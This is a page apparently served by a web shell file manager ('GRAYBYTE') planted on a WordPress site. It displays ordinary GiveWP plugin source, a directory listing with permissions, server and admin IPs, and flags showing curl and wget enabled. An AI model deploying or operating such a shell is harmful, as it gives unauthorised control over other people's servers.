$11 GRAYBYTE WORDPRESS FILE MANAGER $89

SERVER : premium201.web-hosting.com #1 SMP Wed Mar 26 12:08:09 UTC 2025
SERVER IP : 172.67.162.162 | ADMIN IP 216.73.216.51
OPTIONS : CRL = ON | WGT = ON | SDO = OFF | PKEX = OFF
DEACTIVATED : NONE

/home/bravetechrwanda/itiministry.org/plugins/give/src/Onboarding/

HOME
Current File : /home/bravetechrwanda/itiministry.org/plugins/give/src/Onboarding//SettingsRepository.php
<?php

namespace Give\Onboarding;

/**
 * @since 2.8.0
 */
class SettingsRepository
{

    /** @var array */
    protected $settings;

    /** @var callable */
    protected $persistCallback;

    /**
     * @since 2.8.0
     *
     * @param callable $persistCallback
     *
     * @param array    $settings
     */
    public function __construct(array $settings, callable $persistCallback)
    {
        $this->settings = $settings;
        $this->persistCallback = $persistCallback;
    }

    /**
     * @since 2.8.0
     *
     * @param string $name The setting name.
     *
     * @return mixed The setting value.
     *
     */
    public function get($name)
    {
        return ($this->has($name))
            ? $this->settings[$name]
            : null;
    }

    /**
     * @since 2.8.0
     *
     * @param mixed  $value The setting value.
     *
     * @param string $name The setting name.
     *
     * @return void
     *
     */
    public function set($name, $value)
    {
        $this->settings[$name] = $value;
    }

    /**
     * @since 2.8.0
     *
     * @param string $name The setting name.
     *
     * @return bool
     *
     */
    public function has($name)
    {
        return isset($this->settings[$name]);
    }

    /**
     * @since 2.8.0
     * @return bool False if value was not updated and true if value was updated.
     *
     */
    public function save()
    {
        return $this->persistCallback->__invoke(
            $this->settings
        );
    }
}

Current_dir [ WRITEABLE ] Document_root [ NOT WRITEABLE ]


[ Back ]
NAME
SIZE
LAST TOUCH
USER
CAN-I?
FUNCTIONS
..
--
25 May 2026 4.20 PM
bravetechrwanda / bravetechrwanda
0755
Config
--
25 May 2026 4.20 PM
bravetechrwanda / bravetechrwanda
0755
Helpers
--
25 May 2026 4.20 PM
bravetechrwanda / bravetechrwanda
0755
Migrations
--
25 May 2026 4.20 PM
bravetechrwanda / bravetechrwanda
0755
Routes
--
25 May 2026 4.20 PM
bravetechrwanda / bravetechrwanda
0755
Setup
--
25 May 2026 4.20 PM
bravetechrwanda / bravetechrwanda
0755
Wizard
--
25 May 2026 4.20 PM
bravetechrwanda / bravetechrwanda
0755
BlockFactory.php
3.27 KB
14 Aug 2024 11.11 PM
bravetechrwanda / bravetechrwanda
0644
DefaultFormFactory.php
9.258 KB
31 Mar 2025 11.17 PM
bravetechrwanda / bravetechrwanda
0644
FormRepository.php
3.164 KB
16 Apr 2025 5.25 PM
bravetechrwanda / bravetechrwanda
0644
LocaleCollection.php
9.172 KB
24 Nov 2021 4.55 AM
bravetechrwanda / bravetechrwanda
0644
SettingsRepository.php
1.471 KB
24 Nov 2021 4.55 AM
bravetechrwanda / bravetechrwanda
0644
SettingsRepositoryFactory.php
0.47 KB
24 Nov 2021 4.55 AM
bravetechrwanda / bravetechrwanda
0644

GRAYBYTE WORDPRESS FILE MANAGER @ 2026 CONTACT ME
Static GIF Static GIF